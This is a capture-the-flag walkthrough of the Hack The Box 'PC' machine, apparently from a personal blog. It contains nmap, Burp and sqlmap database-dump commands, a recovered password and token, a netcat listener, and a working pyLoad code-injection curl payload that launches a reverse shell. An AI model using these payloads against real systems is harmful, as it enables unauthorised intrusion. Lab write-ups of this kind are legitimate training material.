Hack The Box PC Walkthrough
![](https://static.wixstatic.com/media/743c93_9429f010d6784af8a2082d3369b8b28b~mv2.png/v1/fill/w_397,h_133,al_c,q_85,usm_0.66_1.00_0.01,enc_auto/743c93_9429f010d6784af8a2082d3369b8b28b~mv2.png)
![](https://static.wixstatic.com/media/743c93_6154f64aa5474a3db115f6d070b4bd54~mv2.png/v1/fill/w_410,h_263,al_c,q_85,usm_0.66_1.00_0.01,enc_auto/743c93_6154f64aa5474a3db115f6d070b4bd54~mv2.png)
1.
First connect to HTB using openvpn
2.
Then we will run a nmap scan nmap -sC -sV -Pn -p 22,50051 10.10.11.214
3.
-Pn: Treat all hosts as online -- skip host discovery
-sC: equivalent to --script=default
-sV: Probe open ports to determine service/version info
We see on port 50051 that GRPC is running on that port and ssh is crently being ran on that host machine
![](https://static.wixstatic.com/media/743c93_c7c490749d7545edbcdf50f94bc41ba2~mv2.png/v1/fill/w_413,h_182,al_c,q_85,usm_0.66_1.00_0.01,enc_auto/743c93_c7c490749d7545edbcdf50f94bc41ba2~mv2.png)
![](https://static.wixstatic.com/media/743c93_728412559ac74ed2883a7da0bddc360d~mv2.png/v1/fill/w_396,h_124,al_c,q_85,usm_0.66_1.00_0.01,enc_auto/743c93_728412559ac74ed2883a7da0bddc360d~mv2.png)
![](https://static.wixstatic.com/media/743c93_606decfa346c4b9285a33a2020adafff~mv2.png/v1/fill/w_405,h_107,al_c,q_85,usm_0.66_1.00_0.01,enc_auto/743c93_606decfa346c4b9285a33a2020adafff~mv2.png)
4.
We then search for grpc tools in github and use git clone
5.
grpcui is a command-line tool that lets you interact with gRPC servers via a browser. It's sort of like Postman, but for gRPC APIs instead of REST.
6.
Mkdir grpcui
![](https://static.wixstatic.com/media/743c93_d83fc06ea32e404a86b569036a8ffe5d~mv2.png/v1/fill/w_344,h_149,al_c,q_85,usm_0.66_1.00_0.01,enc_auto/743c93_d83fc06ea32e404a86b569036a8ffe5d~mv2.png)
![](https://static.wixstatic.com/media/743c93_e8494a2c444149889447d4c60ad14746~mv2.png/v1/fill/w_423,h_107,al_c,q_85,usm_0.66_1.00_0.01,enc_auto/743c93_e8494a2c444149889447d4c60ad14746~mv2.png)
7.
Cd grpcui
8.
Mv ~/Downloads/grpcui_1.3.1_linux_x86_64.tar.gz
9.
Tar xvf grpcui_1.3.1_linux_x86_64.tar.gz
10.
Ls
![](https://static.wixstatic.com/media/743c93_cf4510c873cd41c3bc90c6afd20b07e6~mv2.png/v1/fill/w_416,h_77,al_c,q_85,usm_0.66_1.00_0.01,enc_auto/743c93_cf4510c873cd41c3bc90c6afd20b07e6~mv2.png)
![](https://static.wixstatic.com/media/743c93_cbb43b879a8f474c87b5e180410b8e29~mv2.png/v1/fill/w_384,h_200,al_c,q_85,usm_0.66_1.00_0.01,enc_auto/743c93_cbb43b879a8f474c87b5e180410b8e29~mv2.png)
![](https://static.wixstatic.com/media/743c93_7958b5a89abc4cbf9689c5910f45652f~mv2.png/v1/fill/w_385,h_193,al_c,q_85,usm_0.66_1.00_0.01,enc_auto/743c93_7958b5a89abc4cbf9689c5910f45652f~mv2.png)
![](https://static.wixstatic.com/media/743c93_56e8fd7b807b4c84ac8e752f2d58fd6a~mv2.png/v1/fill/w_338,h_183,al_c,q_85,usm_0.66_1.00_0.01,enc_auto/743c93_56e8fd7b807b4c84ac8e752f2d58fd6a~mv2.png)
11.
We will then run the tool
$ grpcui -plaintext 10.10.11.214:50051
gRPC Web UI available at http://127.0.0.1:60551/…
12.
Then we will open burpsuite and paste in target scope settings http://127.0.0.1:44173/
13.
Intercept on
![](https://static.wixstatic.com/media/743c93_7ffbaa47c52e425f84334eb3f9aa9929~mv2.png/v1/fill/w_383,h_136,al_c,q_85,usm_0.66_1.00_0.01,enc_auto/743c93_7ffbaa47c52e425f84334eb3f9aa9929~mv2.png)
![](https://static.wixstatic.com/media/743c93_73f4b9576acf4809b03fe4939a0c4a60~mv2.png/v1/fill/w_427,h_256,al_c,q_85,usm_0.66_1.00_0.01,enc_auto/743c93_73f4b9576acf4809b03fe4939a0c4a60~mv2.png)
14.
Try admin password on the site time 222 invoke
15.
Copy token eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYWRtaW4iLCJleHAiOjE2ODc4NTM3MDJ9.QMhrmgZ4BwUJUAnegz0QTGOMTDTn3OED6riLCdDJJxI
16.
-
Get info request
-
Intercept in burpsuite
-
and then send to repeate
![](https://static.wixstatic.com/media/743c93_923657fa4c7d4927b84d7ee283c9fc34~mv2.png/v1/fill/w_313,h_281,al_c,q_85,usm_0.66_1.00_0.01,enc_auto/743c93_923657fa4c7d4927b84d7ee283c9fc34~mv2.png)
![](https://static.wixstatic.com/media/743c93_ba8bbb5134304e1faf35ace660fe8df6~mv2.png/v1/fill/w_400,h_120,al_c,q_85,usm_0.66_1.00_0.01,enc_auto/743c93_ba8bbb5134304e1faf35ace660fe8df6~mv2.png)
![](https://static.wixstatic.com/media/743c93_b0e2d1ba11774a5cb6b2b6e81b2e7865~mv2.png/v1/fill/w_384,h_203,al_c,q_85,usm_0.66_1.00_0.01,enc_auto/743c93_b0e2d1ba11774a5cb6b2b6e81b2e7865~mv2.png)
17.
Save to sqlmap folder in burpsuite on kali home directory /kali/home/sqlmap/sqlmap.req
18.
Sqlmap -r sqlmap/sqlmap.req --batch -D SQLite --tables
19.
Sqlmap -r sqlmap/sqlmap.req --batch -D SQLite --dump-all
![](https://static.wixstatic.com/media/743c93_492ea6313da14ebf826ed5d20f06f72b~mv2.png/v1/fill/w_391,h_107,al_c,q_85,usm_0.66_1.00_0.01,enc_auto/743c93_492ea6313da14ebf826ed5d20f06f72b~mv2.png)
20.
Forward
21.
Pass :HereIsYourPassWord1431
22.
-
Ssh sau@10.10.11.214
-
Ls -lah user.txt
-
Curl -I -L 127.0.0.1:8000
![](https://static.wixstatic.com/media/743c93_be070fa99c024f5cb97e832f33d6954f~mv2.png/v1/fill/w_401,h_83,al_c,q_85,usm_0.66_1.00_0.01,enc_auto/743c93_be070fa99c024f5cb97e832f33d6954f~mv2.png)
26.
Search what is pyload
27.
Look up pyload exploit
![](https://static.wixstatic.com/media/743c93_f2954f83dea54e90a1c3920550e9d9c7~mv2.png/v1/fill/w_390,h_68,al_c,q_85,usm_0.66_1.00_0.01,enc_auto/743c93_f2954f83dea54e90a1c3920550e9d9c7~mv2.png)
![](https://static.wixstatic.com/media/743c93_8a17ed69333b43df9bef031150b44f74~mv2.png/v1/fill/w_396,h_99,al_c,q_85,usm_0.66_1.00_0.01,enc_auto/743c93_8a17ed69333b43df9bef031150b44f74~mv2.png)
![](https://static.wixstatic.com/media/743c93_6c1e4b53d9954647abe60c85e1a4ac53~mv2.png/v1/fill/w_392,h_237,al_c,q_85,usm_0.66_1.00_0.01,enc_auto/743c93_6c1e4b53d9954647abe60c85e1a4ac53~mv2.png)
29.
Ps -u root | grep pyload
30.
-
Cd /dev/shm on the PC machine
-
Nano rev.sh
-
Chmod +x rev.sh
31.
Nc -lvnp 9001
![](https://static.wixstatic.com/media/743c93_8b4e111d6b7941d2b018c0544e1d0e77~mv2.png/v1/fill/w_402,h_115,al_c,q_85,usm_0.66_1.00_0.01,enc_auto/743c93_8b4e111d6b7941d2b018c0544e1d0e77~mv2.png)
32.
We then use exploit pyload
curl -i -s -k -X $'POST' \
--data-binary $'jk=pyimport%20os;os.system(\"touch%20/tmp/pwnd\");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' \
$'http://localhost:8000/flash/addcrypted2'
Correct payload :
$ curl -i -s -k -X $'POST' \
--data-binary $'jk=pyimport%20os;os.system(\"bash%20/dev/shm/rev.sh\");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' \
$'http://localhost:8000/flash/addcrypted2'
33.
Cd /root
34.
Look for flag
Lessons Learned
The Hack The Box PC Challenge taught me valuable lessons that I will carry forward in my cybersecurity journey. Firstly, I learned the significance of thorough reconnaissance, which is always important when approaching any hacking endeavor. Secondly, I realized the importance of researching new technologies and exploits to expand my knowledge and skill set. Thirdly, I discovered that not all techniques will work, highlighting the need for adaptability and persistence. Despite the box being categorized as easy, it still required time and effort to navigate and find the right method to exploit it. These lessons have reinforced the importance of continuous learning and the need to approach challenges with a methodical mindset.